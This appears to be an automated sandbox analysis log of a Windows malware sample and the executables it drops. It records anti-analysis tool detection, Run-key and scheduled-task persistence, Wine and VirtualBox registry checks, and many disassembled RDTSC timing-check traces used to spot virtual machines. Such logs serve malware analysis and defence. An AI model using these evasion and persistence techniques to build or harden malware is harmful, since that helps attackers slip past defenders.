Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\EBFBKFBGII.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bbbef9e2c3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bbbef9e2c3.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a79a10743.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 2a79a10743.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012997001\Ed7zZr4.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1013000001\c679ee9018.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\EBFBKFBGII.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1012998001\bbbef9e2c3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 34033A second address: 340341 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6381 second address: 4B6387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B6387 second address: 4B63A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 push edx 0x00000008 jmp 00007F07BCDD76A7h 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B63A7 second address: 4B63AC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0F80 second address: 4B0F86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0F86 second address: 4B0F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0F90 second address: 4B0FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Ah 0x00000009 jmp 00007F07BCDD769Ah 0x0000000e popad 0x0000000f jmp 00007F07BCDD76A3h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F07BCDD76A0h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B54CA second address: 4B54CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B54CE second address: 4B54D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5AA2 second address: 4B5AAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5AAD second address: 4B5AB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B5C22 second address: 4B5C28 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B99A4 second address: 4B99A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B99A8 second address: 4B99B5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edx 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B99B5 second address: 4B99D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a pushad 0x0000000b jg 00007F07BCDD769Ch 0x00000011 jo 00007F07BCDD7696h 0x00000017 jc 00007F07BCDD769Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9AC0 second address: 4B9AD7 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, eax 0x0000000c push 00000000h 0x0000000e push 1CCE9D0Eh 0x00000013 pushad 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9AD7 second address: 4B9B79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A6h 0x00000009 popad 0x0000000a jmp 00007F07BCDD76A2h 0x0000000f popad 0x00000010 xor dword ptr [esp], 1CCE9D8Eh 0x00000017 push 00000000h 0x00000019 push ebx 0x0000001a call 00007F07BCDD7698h 0x0000001f pop ebx 0x00000020 mov dword ptr [esp+04h], ebx 0x00000024 add dword ptr [esp+04h], 0000001Bh 0x0000002c inc ebx 0x0000002d push ebx 0x0000002e ret 0x0000002f pop ebx 0x00000030 ret 0x00000031 sub dword ptr [ebp+122D3208h], esi 0x00000037 sub edi, 36D85FBFh 0x0000003d push 00000003h 0x0000003f add edx, dword ptr [ebp+122D37A0h] 0x00000045 mov dword ptr [ebp+122D2A14h], ebx 0x0000004b push 00000000h 0x0000004d call 00007F07BCDD76A9h 0x00000052 or edx, 1406AFCCh 0x00000058 pop edi 0x00000059 push 00000003h 0x0000005b push edi 0x0000005c cld 0x0000005d pop edi 0x0000005e push 644E4400h 0x00000063 push esi 0x00000064 push ebx 0x00000065 push eax 0x00000066 push edx 0x00000067 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B9B79 second address: 4B9BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop esi 0x00000006 add dword ptr [esp], 5BB1BC00h 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F07BCC9CC38h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 sub ecx, dword ptr [ebp+122D387Ch] 0x0000002d add ecx, dword ptr [ebp+122D37F8h] 0x00000033 lea ebx, dword ptr [ebp+1244D806h] 0x00000039 jmp 00007F07BCC9CC40h 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F07BCC9CC49h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9986 second address: 4D998A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D998A second address: 4D9994 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F07BCC9CC36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9994 second address: 4D99DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F07BCDD769Dh 0x0000000b push edx 0x0000000c jne 00007F07BCDD7696h 0x00000012 pop edx 0x00000013 popad 0x00000014 pushad 0x00000015 jne 00007F07BCDD76A2h 0x0000001b push ebx 0x0000001c jmp 00007F07BCDD76A5h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7B42 second address: 4D7B52 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007F07BCC9CC36h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7B52 second address: 4D7B56 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7B56 second address: 4D7B75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F07BCC9CC47h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D7B75 second address: 4D7B94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F07BCDD76A4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84CE second address: 4D84EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC48h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84EA second address: 4D84F4 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F07BCDD7696h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D84F4 second address: 4D8504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 je 00007F07BCC9CC36h 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8504 second address: 4D850E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F07BCDD7696h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D850E second address: 4D8535 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F07BCC9CC36h 0x00000009 jmp 00007F07BCC9CC3Fh 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jl 00007F07BCC9CC36h 0x0000001b push ecx 0x0000001c pop ecx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8535 second address: 4D8569 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F07BCDD76A8h 0x0000000c jmp 00007F07BCDD76A4h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8569 second address: 4D856E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D86D9 second address: 4D86F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A4h 0x00000009 popad 0x0000000a push esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D86F5 second address: 4D8702 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 ja 00007F07BCC9CC48h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8702 second address: 4D871A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD769Ch 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D871A second address: 4D871E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D871E second address: 4D8722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8722 second address: 4D874F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC3Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F07BCC9CC3Ah 0x00000010 jmp 00007F07BCC9CC3Bh 0x00000015 push eax 0x00000016 push edx 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91E1 second address: 4D91E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D91E8 second address: 4D921C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F07BCC9CC3Fh 0x0000000b popad 0x0000000c jl 00007F07BCC9CC38h 0x00000012 push edx 0x00000013 pop edx 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007F07BCC9CC3Dh 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D921C second address: 4D9221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D93AE second address: 4D93B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D93B9 second address: 4D93BF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D93BF second address: 4D93E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F07BCC9CC47h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D93E0 second address: 4D93F8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F07BCDD7696h 0x00000008 je 00007F07BCDD7696h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 je 00007F07BCDD7696h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9837 second address: 4D9846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnl 00007F07BCC9CC36h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE58F second address: 4DE597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DE71C second address: 4DE721 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DCF28 second address: 4DCF32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F07BCDD7696h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD6D6 second address: 4DD6DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DD6DA second address: 4DD705 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007F07BCDD76A0h 0x0000000c popad 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 jmp 00007F07BCDD769Dh 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E15D1 second address: 4E15ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F07BCC9CC3Fh 0x0000000a jc 00007F07BCC9CC50h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E15ED second address: 4E160D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCDD76A4h 0x00000009 push eax 0x0000000a push edx 0x0000000b jno 00007F07BCDD7696h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5275 second address: 4E5279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B46D second address: 49B480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push edi 0x00000006 jmp 00007F07BCDD769Bh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E48E6 second address: 4E48F0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F07BCC9CC36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4AA5 second address: 4E4AA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4E6A second address: 4E4E6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4E6E second address: 4E4E82 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F07BCDD7696h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F07BCDD76B5h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4E82 second address: 4E4E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F07BCC9CC49h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4E9F second address: 4E4EA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4EA5 second address: 4E4EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4EA9 second address: 4E4EAF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4EAF second address: 4E4EBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F07BCC9CC3Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50EF second address: 4E50F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50F4 second address: 4E5100 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jp 00007F07BCC9CC36h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E661D second address: 4E6622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66A1 second address: 4E66A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E66A5 second address: 4E66E1 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 ja 00007F07BCDD7696h 0x0000000d pop ebx 0x0000000e popad 0x0000000f add dword ptr [esp], 152322A1h 0x00000016 call 00007F07BCDD76A1h 0x0000001b movsx edi, dx 0x0000001e pop esi 0x0000001f push 20912C0Dh 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F07BCDD769Ah 0x0000002b rdtsc
